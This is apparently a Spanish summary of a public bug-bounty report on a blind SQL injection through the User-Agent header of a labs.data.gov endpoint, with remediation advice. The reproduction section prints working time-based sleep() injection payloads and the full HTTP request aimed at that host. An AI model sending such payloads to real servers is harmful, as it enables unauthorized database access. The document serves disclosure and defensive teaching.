Reports
CRÍTICA[SQL INJECTION]#297478

Una inyección SQL escondida en la cabecera User-Agent de labs.data.gov

Un endpoint del panel de data.gov metía la cabecera User-Agent directamente en una consulta MySQL; se confirmó la inyección a ciegas midiendo cuánto tardaba el servidor en responder.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

Cuando pensamos en inyección SQL casi siempre miramos los parámetros obvios: el formulario de búsqueda, el id de la URL, un campo de login. Este caso es un buen recordatorio de que el problema no está en dónde miramos, sino en qué datos acaban dentro de la consulta. Aquí el punto de entrada era la cabecera User-Agent, algo que normalmente ni consideramos "entrada del usuario" pero que el atacante controla por completo.

El fallo estaba en labs.data.gov, concretamente en el endpoint /dashboard/datagov/csv_to_json. Ese endpoint tomaba el valor del User-Agent y lo concatenaba, sin sanear, en una sentencia SQL contra una base de datos MySQL. Lo interesante es cómo se demostró: sin extraer un solo dato, solo consiguiendo que el servidor "obedeciera" operaciones matemáticas.

Pasos de reproducción

La técnica es una inyección a ciegas basada en tiempo: como la respuesta no cambia visiblemente, se usa sleep() para que el servidor tarde una cantidad de segundos que depende de una operación aritmética. Si el retardo coincide con la cuenta, es que nuestra expresión se está ejecutando dentro de la consulta.

Primero, la prueba de que hay inyección. Este User-Agent fuerza sleep(5*5), es decir, 25 segundos:

GET /dashboard/datagov/csv_to_json HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87'XOR(if(now()=sysdate(),sleep(5*5),0))OR'
X-Requested-With: XMLHttpRequest
Host: labs.data.gov
Accept: */*

El servidor respondía a los 25 segundos exactos. Para descartar casualidades, se juega con la aritmética y se comprueba que el retardo la sigue:

  User-Agent: ...Chrome/55.0.2883.87'XOR(if(now()=sysdate(),sleep(5*5),0))OR'      # 5*5   = 25 -> responde a los 25 s
- User-Agent: ...Chrome/55.0.2883.87'XOR(if(now()=sysdate(),sleep(5*5*0),0))OR'    # 5*5*0 = 0  -> responde al instante
+ User-Agent: ...Chrome/55.0.2883.87'XOR(if(now()=sysdate(),sleep(6*6-30),0))OR'   # 6*6-30 = 6 -> responde a los 6 s

Que el tiempo de respuesta siga fielmente el resultado de cada operación (25, 0, 6…) es la confirmación definitiva: la cabecera se está evaluando como parte de la consulta.

Impacto

Aquí conviene ser honesto con lo que se demostró y con lo que implica. El investigador no llegó a robar datos: se limitó a confirmar la vulnerabilidad con los sleep. Pero una inyección SQL confirmada es, a efectos prácticos, la llave de la base de datos: quien controla parte de la sentencia puede alterar su lógica y, a partir de ahí, extraer el contenido tabla a tabla con las mismas técnicas a ciegas. Tratándose además de un dominio del gobierno de EE. UU. (data.gov), el alcance potencial sobre datos y sistemas es exactamente lo que hace que esto sea crítico y no una curiosidad.

Remediación

El reporte original no detalla el parche concreto que aplicó el programa. La corrección de fondo, en cualquier caso, es siempre la misma y no admite atajos: consultas parametrizadas (prepared statements), de modo que los valores nunca se concatenen dentro del SQL. Y, como lección transversal, tratar todas las cabeceras HTTP (User-Agent, Referer, X-Forwarded-For…) como entrada no confiable, exactamente igual que un campo de formulario.